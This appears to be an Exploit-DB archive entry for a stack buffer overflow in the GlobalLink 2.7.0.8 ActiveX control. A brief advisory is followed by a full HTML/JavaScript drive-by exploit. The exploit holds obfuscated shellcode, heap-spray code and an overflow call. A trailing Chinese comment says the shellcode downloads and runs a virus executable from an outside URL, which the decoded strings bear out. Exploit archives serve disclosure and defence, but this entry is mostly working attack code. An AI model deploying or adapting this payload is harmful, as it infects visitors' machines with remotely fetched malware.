Exploit-DB #30720
Description: GlobalLink 2.7.0.8 - ConnectAndEnterRoom ActiveX Control Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2007-10-29
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/26244/info

GlobalLink is prone to a stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

GlobalLink 2.7.0.8 is affected by this issue; other versions may also be vulnerable. 

<body> <script>window.onerror=function(){return true;}</script> <object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" style='display:none' id='target'></object> <SCRIPT language="javascript"> var shellcode = unescape(""+""+""+"%u9090"+""+""+""+"%u9090"+ ""+""+""+"%uefe9"+""+""+"%u0000"+""+""+"%u5a00"+""+""+"%ua164"+""+""+"%u0030"+""+""+"%u0000"+""+""+"%u408b"+""+""+"%u8b0c" + ""+""+""+"%u1c70"+""+""+"%u8bad"+""+""+"%u0840"+""+""+"%ud88b"+""+""+"%u738b"+""+""+"%u8b3c"+""+""+"%u1e74"+""+""+"%u0378" + ""+""+""+"%u8bf3"+""+""+"%u207e"+""+""+"%ufb03"+""+""+"%u4e8b"+""+""+"%u3314"+""+""+"%u56ed"+""+""+"%u5157"+""+""+"%u3f8b" + ""+""+""+"%ufb03"+""+""+"%uf28b"+""+""+"%u0e6a"+""+""+"%uf359"+""+""+"%u74a6"+""+""+"%u5908"+""+""+"%u835f"+""+""+"%u04c7" + ""+""+""+"%ue245"+""+""+"%u59e9"+""+""+"%u5e5f"+""+""+"%ucd8b"+""+""+"%u468b"+""+""+"%u0324"+""+""+"%ud1c3"+""+""+"%u03e1" + ""+""+""+"%u33c1"+""+""+"%u66c9"+""+""+"%u088b"+""+""+"%u468b"+""+""+"%u031c"+""+""+"%uc1c3"+""+""+"%u02e1"+""+""+"%uc103" + ""+""+""+"%u008b%uc303"+""+""+"%ufa8b"+""+""+"%uf78b"+""+""+"%uc683"+""+""+"%u8b0e"+""+""+"%u6ad0"+""+""+"%u5904" + ""+""+""+"%u6ae8"+""+""+"%u0000"+""+""+"%u8300"+""+""+"%u0dc6"+""+""+"%u5652"+""+""+"%u57ff"+""+""+"%u5afc"+""+""+"%ud88b" + ""+""+""+"%u016a"+""+""+"%ue859"+""+""+"%u0057"+""+""+"%u0000"+""+""+"%uc683"+""+""+"%u5613"+""+""+"%u8046"+""+""+"%u803e" + ""+""+""+"%ufa75"+""+""+"%u3680"+""+""+"%u5e80"+""+""+"%uec83"+""+""+"%u8b40"+""+""+"%uc7dc"+""+""+"%u6303"+""+""+"%u646d" + ""+""+""+"%u4320"+""+""+"%u4343"+""+""+"%u6643"+""+""+"%u03c7"+""+""+"%u632f"+""+""+"%u4343"+""+""+"%u03c6"+""+""+"%u4320" + ""+""+""+"%u206a"+""+""+"%uff53"+""+""+"%uec57"+""+""+"%u04c7"+""+""+"%u5c03"+""+""+"%u2e61"+""+""+"%uc765"+""+""+"%u0344" + ""+""+""+"%u7804"+""+""+"%u0065"+""+""+"%u3300"+""+""+"%u50c0"+""+""+"%u5350"+""+""+"%u5056"+""+""+"%u57ff"+""+""+"%u8bfc" + ""+""+""+"%u6adc"+""+""+"%u5300%u57ff"+""+""+"%u68f0"+""+""+"%u2451"+""+""+"%u0040"+""+""+"%uff58"+""+""+"%u33d0" + ""+""+""+"%uacc0"+""+""+"%uc085"+""+""+"%uf975"+""+""+"%u5251"+""+""+"%u5356"+""+""+"%ud2ff"+""+""+"%u595a"+""+""+"%ue2ab" + ""+""+""+"%u33ee"+""+""+"%uc3c0"+""+""+"%u0ce8"+""+""+"%uffff"+""+""+"%u47ff"+""+""+"%u7465"+""+""+"%u7250"+""+""+"%u636f" + ""+""+""+"%u6441"+""+""+"%u7264"+""+""+"%u7365"+""+""+"%u0073"+""+""+"%u6547"+""+""+"%u5374"+""+""+"%u7379"+""+""+"%u6574" + ""+""+""+"%u446d"+""+""+"%u7269"+""+""+"%u6365"+""+""+"%u6f74"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u6957"+""+""+"%u456e" + ""+""+""+"%u6578"+""+""+"%u0063"+""+""+"%u7845"+""+""+"%u7469"+""+""+"%u6854"+""+""+"%u6572"+""+""+"%u6461"+""+""+"%u4c00" + ""+""+""+"%u616f"+""+""+"%u4c64"+""+""+"%u6269"+""+""+"%u6172%u7972"+""+""+"%u0041"+""+""+"%u7275"+""+""+"%u6d6c" + ""+""+""+"%u6e6f"+""+""+"%u5500"+""+""+"%u4c52"+""+""+"%u6f44"+""+""+"%u6e77"+""+""+"%u6f6c"+""+""+"%u6461"+""+""+"%u6f54" + ""+""+""+"%u6946"+""+""+"%u656c"+""+""+"%u0041"+""+""+"%u7468"+""+""+"%u7074"+""+""+"%u2f3a"+""+""+"%u702f"+""+""+"%u6369" + ""+""+""+"%u312e%u2e36"+""+""+"%u6776"+""+""+"%u532f"+""+""+"%u3633"+""+""+"%u2f38"+""+""+"%u3353"+""+""+"%u3836" + ""+""+""+"%u2e32"+""+""+"%u7865"+""+""+"%u8065"+""+""+"%u0000"); </script> <SCRIPT language="javascript"> var fsk51d2sl = "63e23c122"; var bigblock = unescape(""+""+"%u9090"+""+"%u9090"); var fsk51d2sl = "63e23c122"; var headersize = 20; var fsk51d2sl = "63e23c122"; var slackspace = headersize+shellcode.length; var fsk51d2sl = "63e23c122"; while (bigblock.length<slackspace) bigblock+=bigblock; var fsk51d2sl = "63e23c122"; fillblock = bigblock.substring(0, slackspace); var fsk51d2sl = "63e23c122"; block = bigblock.substring(0, bigblock.length-slackspace); var fsk51d2sl = "63e23c122"; while(block.length+slackspace<0x40000) block = block+block+fillblock; var fsk51d2sl = "63e23c122"; memory = new Array(); var fsk51d2sl = "63e23c122"; for (x=0; x<300; x++) memory[x] = block +shellcode; var fsk51d2sl = "63e23c122"; var buffer = ''; var fsk51d2sl = "63e23c122"; while (buffer.length < 164) buffer+="A"; var fsk51d2sl = "63e23c122"; buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer; var fsk51d2sl = "63e23c122"; ok="ok"; var fsk51d2sl = "63e23c122"; target.ConnectAndEnterRoom(buffer,ok,ok,ok,ok,ok ); var fsk51d2sl = "63e23c122"; </script? </body> <mEtA Http-Equiv="Content-TypE" content="TeXt/htMl; CharSet=Us-AsCiI" /> /************************************************************************************************** 有漏洞的组件为：C:\Program Files\GlobalLink\Game\Share\GLChat.ocx, GlobalLink 其 CLSID:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69 下载的病毒为： http://pic.16.vg/S368/S3682.exe 超星阅读器的Exploits代码如下，这个看样子现在还是个0-Day /**************************************************************************************************